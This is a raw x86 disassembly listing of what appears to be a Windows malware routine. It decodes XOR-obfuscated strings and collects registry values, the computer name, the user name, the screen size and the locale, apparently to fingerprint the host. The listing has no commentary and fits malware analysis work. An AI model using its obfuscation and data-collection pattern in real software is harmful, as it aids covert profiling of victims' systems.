mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x14], 0x89c15b7c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x5f0]
xorps xmm1, xmmword [ebp - 0x70]
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x5f0]
movaps xmmword [ebp - 0x5f0], xmm1
movaps xmm1, xmmword [ebp - 0x5e0]
push edx
mov dword [ebp - 0x54], ecx
xorps xmm1, xmmword [ebp - 0x60]
push eax
push edi
movaps xmmword [ebp - 0x5e0], xmm1
call fcn.00403350
add esp, 0xc
cmp dword [ebx + 0x60], 0
je 0x4e16c1
cmp dword [ebx + 0x64], 0xf
lea edx, [ebx + 0x50]
cmova edx, dword [ebx + 0x50]
jmp 0x4e16c6
mov edx, 0x565de8
mov dword [ebp - 0x18], 0xffa1b3dc
mov dword [ebp - 0x14], 0xf34d89fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x310], eax
mov dword [ebp - 0x30c], ecx
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x308], eax
mov dword [ebp - 0x304], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x3c], ecx
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x310]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x310]
push edx
mov dword [ebp - 0x34], ecx
xorps xmm1, xmmword [ebp - 0x40]
push eax
push edi
movaps xmmword [ebp - 0x310], xmm1
call fcn.00403350
add esp, 0xc
cmp dword [ebx + 0x48], 0
je 0x4e1770
cmp dword [ebx + 0x4c], 0xf
lea edx, [ebx + 0x38]
cmova edx, dword [ebx + 0x38]
jmp 0x4e1775
mov edx, 0x565de8
cmp dword [ebx + 0x30], 0
je 0x4e1788
cmp dword [ebx + 0x34], 0xf
lea esi, [ebx + 0x20]
cmova esi, dword [ebx + 0x20]
jmp 0x4e178d
mov esi, 0x565de8
mov dword [ebp - 0x18], 0xbef88cd9
mov dword [ebp - 0x14], 0x972f93af
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x610], eax
mov dword [ebp - 0x60c], ecx
mov dword [ebp - 0x18], 0xe9eb2dc
mov dword [ebp - 0x14], 0x67fd66d2
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x608], eax
mov dword [ebp - 0x604], ecx
mov dword [ebp - 0x18], 0xd94f63aa
mov dword [ebp - 0x14], 0xc0cfc619
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x600], eax
mov dword [ebp - 0x5fc], ecx
mov dword [ebp - 0x18], 0xae7946e8
mov dword [ebp - 0x14], 0x89c15b7c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x5f8], eax
mov dword [ebp - 0x5f4], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x6c], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0xd94f69a7
mov dword [ebp - 0x14], 0xc0cfc619
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x64], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x18], 0xae7946e8
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x14], 0x89c15b7c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x610]
xorps xmm1, xmmword [ebp - 0x70]
push edx
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x610]
movaps xmmword [ebp - 0x610], xmm1
movaps xmm1, xmmword [ebp - 0x600]
push esi
mov dword [ebp - 0x54], ecx
xorps xmm1, xmmword [ebp - 0x60]
push eax
push edi
movaps xmmword [ebp - 0x600], xmm1
call fcn.00403350
add esp, 0x10
lea ecx, [ebp - 0xd8]
call fcn.00413460
mov byte [ebp - 4], 0x16
mov eax, dword [0x589340]
mov ecx, dword [0x589344]
mov dword [ebp - 0xac], eax
mov dword [ebp - 0xa4], ecx
cmp eax, ecx
je 0x4e1a10
nop dword [eax]
mov esi, dword [eax]
lea ecx, [ebp - 0xd8]
push esi
lea eax, [ebp - 0x73c]
mov dword [ebp - 0xcc], esi
push eax
call fcn.00423c90
mov edi, dword [ebp - 0x734]
cmp byte [edi + 0xd], 0
jne 0x4e1934
cmp dword [edi + 0x24], 0xf
lea eax, [edi + 0x10]
mov edx, dword [eax + 0x10]
jbe 0x4e1915
mov eax, dword [eax]
cmp dword [esi + 0x14], 0xf
mov ecx, esi
jbe 0x4e191f
mov ecx, dword [esi]
push edx
mov edx, dword [esi + 0x10]
push eax
call fcn.0041c6b0
add esp, 8
test eax, eax
jns 0x4e19ec
cmp dword [ebp - 0xd4], 0x5d1745d
je 0x4e4719
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0xd8]
mov dword [ebp - 0x1c8], eax
mov dword [ebp - 0x1c4], 0
mov byte [ebp - 4], 0x17
push 0x2c
mov dword [ebp - 0x1c4], 0
call fcn.00433672
mov edi, eax
add esp, 4
mov dword [ebp - 0x1c4], edi
mov byte [ebp - 4], 0x18
lea esi, [edi + 0x10]
push dword [ebp - 0xcc]
mov ecx, esi
mov dword [ebp - 0x14], esi
call fcn.004163b0
mov byte [ebp - 4], 0x19
mov dword [esi + 0x18], 0
mov byte [ebp - 4], 0x18
mov eax, dword [ebp - 0xbc]
mov dword [edi], eax
mov dword [edi + 4], eax
mov dword [edi + 8], eax
mov word [edi + 0xc], 0
mov byte [ebp - 4], 0x1b
mov dword [ebp - 0x1c4], 0
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0xd8]
push edi
push dword [ebp - 0x738]
push dword [ebp - 0x73c]
call fcn.0041e260
mov edi, eax
mov eax, dword [ebp - 0xac]
inc dword [edi + 0x28]
add eax, 8
mov dword [ebp - 0xac], eax
cmp eax, dword [ebp - 0xa4]
jne 0x4e18e0
mov edi, dword [ebp - 0xf4]
xorps xmm0, xmm0
mov dword [ebp - 0x1d0], 0
movups xmmword [ebp - 0x1e0], xmm0
mov dword [ebp - 0x1cc], 0
mov dword [ebp - 0x1d0], 0
mov dword [ebp - 0x1cc], 0xf
mov byte [ebp - 0x1e0], 0
mov byte [ebp - 4], 0x1f
xor edx, edx
mov esi, dword [ebp - 0xd8]
mov byte [ebp - 0x155], dl
mov esi, dword [esi]
cmp byte [esi + 0xd], dl
jne 0x4e1af6
nop word [eax + eax]
lea eax, [esi + 0x10]
lea ecx, [eax + 0x18]
mov dword [ebp - 0xa4], ecx
cmp dword [ecx], edx
jle 0x4e1aaa
lea edx, [ebp - 0x1e0]
cmp edx, eax
je 0x4e1aa8
cmp dword [eax + 0x14], 0xf
mov ecx, dword [eax + 0x10]
jbe 0x4e1a95
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0x1e0]
call fcn.00416130
mov ecx, dword [ebp - 0xa4]
mov edx, dword [ecx]
mov eax, dword [esi + 8]
cmp byte [eax + 0xd], 0
je 0x4e1ad4
mov eax, dword [esi + 4]
cmp byte [eax + 0xd], 0
jne 0x4e1ad0
nop dword [eax]
cmp esi, dword [eax + 8]
jne 0x4e1ad0
mov esi, eax
mov eax, dword [eax + 4]
cmp byte [eax + 0xd], 0
je 0x4e1ac0
mov esi, eax
jmp 0x4e1aec
mov esi, eax
mov ecx, dword [esi]
cmp byte [ecx + 0xd], 0
jne 0x4e1aec
nop
mov eax, dword [ecx]
mov esi, ecx
mov ecx, eax
cmp byte [eax + 0xd], 0
je 0x4e1ae0
cmp byte [esi + 0xd], 0
je 0x4e1a70
cmp dword [ebp - 0x1d0], 0
ja 0x4e1bae
mov dword [ebp - 0x18], 0xdf9be3b8
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x24c], ecx
mov dword [ebp - 0x250], eax
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x244], ecx
mov dword [ebp - 0x248], eax
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x250]
mov dword [ebp - 0x34], ecx
lea ecx, [ebp - 0x250]
mov dword [ebp - 0x38], eax
lea edx, [ecx + 1]
xorps xmm1, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x250], xmm1
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4e1b92
sub ecx, edx
lea eax, [ebp - 0x250]
push ecx
push eax
lea ecx, [ebp - 0x1e0]
call fcn.00416130
cmp dword [ebp - 0x1cc], 0xf
lea edx, [ebp - 0x1e0]
cmova edx, dword [ebp - 0x1e0]
mov dword [ebp - 0x18], 0xffcbaacf
mov dword [ebp - 0x14], 0x8d35bbf3
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x630], eax
mov dword [ebp - 0x62c], ecx
mov dword [ebp - 0x18], 0x11d2f489
mov dword [ebp - 0x14], 0x2ef13592
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x628], eax
mov dword [ebp - 0x624], ecx
mov dword [ebp - 0x18], 0xd43c4c87
mov dword [ebp - 0x14], 0xc0cfc613
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x620], eax
mov dword [ebp - 0x61c], ecx
mov dword [ebp - 0x18], 0xae7946e8
mov dword [ebp - 0x14], 0x89c15b7c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x618], eax
mov dword [ebp - 0x614], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x6c], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0xd94f69a7
mov dword [ebp - 0x14], 0xc0cfc619
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x64], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x18], 0xae7946e8
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x14], 0x89c15b7c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x630]
xorps xmm1, xmmword [ebp - 0x70]
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x630]
movaps xmmword [ebp - 0x630], xmm1
movaps xmm1, xmmword [ebp - 0x620]
push edx
mov dword [ebp - 0x54], ecx
xorps xmm1, xmmword [ebp - 0x60]
push eax
push edi
movaps xmmword [ebp - 0x620], xmm1
call fcn.00403350
mov dword [ebp - 0x144], 0
add esp, 0xc
mov dword [ebp - 0x18], 0x8bddacc6
mov dword [ebp - 0x14], 0xbc12bb8c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x6e0], eax
mov dword [ebp - 0x6dc], ecx
mov dword [ebp - 0x18], 0x1ed2dfba
mov dword [ebp - 0x14], 0x7bab298c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x6d8], eax
mov dword [ebp - 0x6d4], ecx
mov dword [ebp - 0x18], 0x8e131dc1
mov dword [ebp - 0x14], 0xafaba870
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x6d0], eax
mov dword [ebp - 0x6cc], ecx
mov dword [ebp - 0x18], 0xe059359f
mov dword [ebp - 0x14], 0xfc820728
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x6c8], eax
mov dword [ebp - 0x6c4], ecx
mov dword [ebp - 0x18], 0x8b48659b
mov dword [ebp - 0x14], 0xcc884c3
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x6c0], eax
mov dword [ebp - 0x6bc], ecx
mov dword [ebp - 0x18], 0xbbb653f9
mov dword [ebp - 0x14], 0x19127bfa
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x6b8], eax
mov dword [ebp - 0x6b4], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x7c], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0xd94f69a7
mov dword [ebp - 0x14], 0xc0cfc619
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x74], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0xae7946e8
mov dword [ebp - 0x14], 0x89c15b7c
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x6c], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0xe52d17e9
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x14], 0x7eadd2b7
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x64], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x18], 0xd5d93a8a
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x14], 0x19127bfa
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x6e0]
xorps xmm1, xmmword [ebp - 0x80]
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x144]
push eax
push dword [ebp - 0xc4]
movaps xmmword [ebp - 0x6e0], xmm1
lea eax, [ebp - 0x6e0]
movaps xmm1, xmmword [ebp - 0x6d0]
xorps xmm1, xmmword [ebp - 0x70]
movaps xmmword [ebp - 0x6d0], xmm1
movaps xmm1, xmmword [ebp - 0x6c0]
push 0
mov dword [ebp - 0x54], ecx
xorps xmm1, xmmword [ebp - 0x60]
push eax
push closesocket
movaps xmmword [ebp - 0x6c0], xmm1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4e21e7
mov dword [ebp - 0x1f8], 0x20019
mov dword [ebp - 0x1fc], 0x400
mov dword [ebp - 0x18], 0xbbf491c5
mov dword [ebp - 0x14], 0xb73499ae
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x320], eax
mov dword [ebp - 0x31c], ecx
mov dword [ebp - 0x18], 0x7ddeff87
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x318], eax
mov dword [ebp - 0x314], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x1fc]
push eax
lea eax, [ebp - 0x1f00]
mov dword [ebp - 0x3c], ecx
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x320]
push eax
lea eax, [ebp - 0x1f8]
mov dword [ebp - 0x34], ecx
xorps xmm1, xmmword [ebp - 0x40]
push eax
push 0
lea eax, [ebp - 0x320]
movaps xmmword [ebp - 0x320], xmm1
push eax
push dword [ebp - 0x144]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4e21db
cmp dword [ebp - 0xb4], eax
je 0x4e200d
mov dword [ebp - 0x18], 0xdfafd5ed
lea edx, [ebp - 0x330]
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x330], eax
mov dword [ebp - 0x32c], ecx
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x328], eax
mov dword [ebp - 0x324], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x3c], ecx
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x330]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], ecx
xorps xmm1, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x330], xmm1
jmp 0x4e2099
mov dword [ebp - 0x18], 0xdfa9d0ed
lea edx, [ebp - 0x340]
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x340], eax
mov dword [ebp - 0x33c], ecx
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x338], eax
mov dword [ebp - 0x334], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x3c], ecx
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x340]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], ecx
xorps xmm1, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x340], xmm1
mov dword [ebp - 0x18], 0xbbf58ac2
mov dword [ebp - 0x14], 0xc3338db4
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x650], eax
mov dword [ebp - 0x64c], ecx
mov dword [ebp - 0x18], 0x5dc8b7c6
mov dword [ebp - 0x14], 0x49ab63a5
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x648], eax
mov dword [ebp - 0x644], ecx
mov dword [ebp - 0x18], 0xd94f63aa
mov dword [ebp - 0x14], 0xc0cfc619
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x640], eax
mov dword [ebp - 0x63c], ecx
mov dword [ebp - 0x18], 0xae7946e8
mov dword [ebp - 0x14], 0x89c15b7c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x638], eax
mov dword [ebp - 0x634], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x190], eax
mov dword [ebp - 0x18c], ecx
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x188], eax
mov dword [ebp - 0x184], ecx
mov dword [ebp - 0x18], 0xd94f69a7
mov dword [ebp - 0x14], 0xc0cfc619
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x180], eax
mov dword [ebp - 0x17c], ecx
mov dword [ebp - 0x18], 0xae7946e8
mov dword [ebp - 0x14], 0x89c15b7c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x650]
xorps xmm1, xmmword [ebp - 0x190]
mov dword [ebp - 0x178], eax
lea eax, [ebp - 0x1f00]
push edx
push eax
movaps xmmword [ebp - 0x650], xmm1
lea eax, [ebp - 0x650]
movaps xmm1, xmmword [ebp - 0x640]
mov dword [ebp - 0x174], ecx
xorps xmm1, xmmword [ebp - 0x180]
push eax
push edi
movaps xmmword [ebp - 0x640], xmm1
call fcn.00403350
add esp, 0x10
push dword [ebp - 0x144]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x104
lea eax, [ebp - 0xff8]
push 0
push eax
call fcn.004359b0
add esp, 0xc
mov dword [ebp - 0x1f4], 0x104
lea eax, [ebp - 0x1f4]
push eax
lea eax, [ebp - 0xff8]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea ecx, [ebp - 0x8c0]
call fcn.004e4720
mov edx, eax
mov byte [ebp - 4], 0x20
cmp dword [edx + 0x14], 0xf
jbe 0x4e2234
mov edx, dword [edx]
mov dword [ebp - 0x18], 0xaff68cd6
mov dword [ebp - 0x14], 0x8b258eae
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x190], eax
mov dword [ebp - 0x18c], ecx
mov dword [ebp - 0x18], 0x10dadcc6
mov dword [ebp - 0x14], 0x31f87c9b
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x188], eax
mov dword [ebp - 0x184], ecx
mov dword [ebp - 0x18], 0xfc1449d4
mov dword [ebp - 0x14], 0xcac29b6a
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x180], eax
mov dword [ebp - 0x17c], ecx
mov dword [ebp - 0x18], 0xae7946e8
mov dword [ebp - 0x14], 0x89c15b7c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x178], eax
mov dword [ebp - 0x174], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x11c], ecx
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x114], ecx
mov dword [ebp - 0x18], 0xd94f69a7
mov dword [ebp - 0x14], 0xc0cfc619
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x10c], ecx
mov dword [ebp - 0x18], 0xae7946e8
mov dword [ebp - 0x14], 0x89c15b7c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x190]
xorps xmm1, xmmword [ebp - 0x120]
mov dword [ebp - 0x108], eax
lea eax, [ebp - 0xff8]
push edx
push eax
movaps xmmword [ebp - 0x190], xmm1
lea eax, [ebp - 0x190]
movaps xmm1, xmmword [ebp - 0x180]
mov dword [ebp - 0x104], ecx
xorps xmm1, xmmword [ebp - 0x110]
push eax
push edi
movaps xmmword [ebp - 0x180], xmm1
call fcn.00403350
add esp, 0x10
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x8c0]
call fcn.00402df0
push 0x104
lea eax, [ebp - 0x1100]
push 0
push eax
call fcn.004359b0
add esp, 0xc
mov dword [ebp - 0x268], 0x104
lea eax, [ebp - 0x268]
push eax
lea eax, [ebp - 0x1100]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov dword [ebp - 0x18], 0xadfe90c0
mov dword [ebp - 0x14], 0x9421b4fb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x350], eax
mov dword [ebp - 0x34c], ecx
mov dword [ebp - 0x18], 0x589ba883
mov dword [ebp - 0x14], 0x14d24b8d
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x348], eax
mov dword [ebp - 0x344], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x1100]
push eax
mov dword [ebp - 0x3c], ecx
lea eax, [ebp - 0x350]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x350]
mov dword [ebp - 0x34], ecx
xorps xmm1, xmmword [ebp - 0x40]
push eax
push edi
movaps xmmword [ebp - 0x350], xmm1
call fcn.00403350
add esp, 0xc
call dword [sym.imp.USER32.dll_GetDesktopWindow]
lea ecx, [ebp - 0x7d4]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
mov dword [ebp - 0x18], 0xafe88ad1
mov dword [ebp - 0x14], 0xd9399bb7
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x670], eax
mov dword [ebp - 0x66c], ecx
mov dword [ebp - 0x18], 0x12c8f7b4
mov dword [ebp - 0x14], 0x7dac3392
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x668], eax
mov dword [ebp - 0x664], ecx
mov dword [ebp - 0x18], 0xf97507c8
mov dword [ebp - 0x14], 0xe5b7a23c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x660], eax
mov dword [ebp - 0x65c], ecx
mov dword [ebp - 0x18], 0xae734b8c
mov dword [ebp - 0x14], 0x89c15b7c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x658], eax
mov dword [ebp - 0x654], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x11c], ecx
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x114], ecx
mov dword [ebp - 0x18], 0xd94f69a7
mov dword [ebp - 0x14], 0xc0cfc619
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x10c], ecx
mov dword [ebp - 0x18], 0xae7946e8
mov dword [ebp - 0x14], 0x89c15b7c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x670]
push dword [ebp - 0x7c8]
xorps xmm1, xmmword [ebp - 0x120]
push dword [ebp - 0x7cc]
mov dword [ebp - 0x108], eax
lea eax, [ebp - 0x670]
movaps xmmword [ebp - 0x670], xmm1
movaps xmm1, xmmword [ebp - 0x660]
mov dword [ebp - 0x104], ecx
xorps xmm1, xmmword [ebp - 0x110]
push eax
push edi
movaps xmmword [ebp - 0x660], xmm1
call fcn.00403350
push 0x400
lea eax, [ebp - 0x1b00]
push 0
push eax
call fcn.004359b0
add esp, 0x1c
lea eax, [ebp - 0x1b00]
push 0x200
push eax
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLocaleName]
mov dword [ebp - 0x18], 0xafe88ad1
test eax, eax
mov dword [ebp - 0x14], 0xd9399bb7
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
je 0x4e2719
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x11c], ecx
mov dword [ebp - 0x18], 0x1ad5f3aa
mov dword [ebp - 0x14], 0x71bf278b
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x114], ecx
mov dword [ebp - 0x18], 0xae6a499d
mov dword [ebp - 0x14], 0xc0c5cb6a
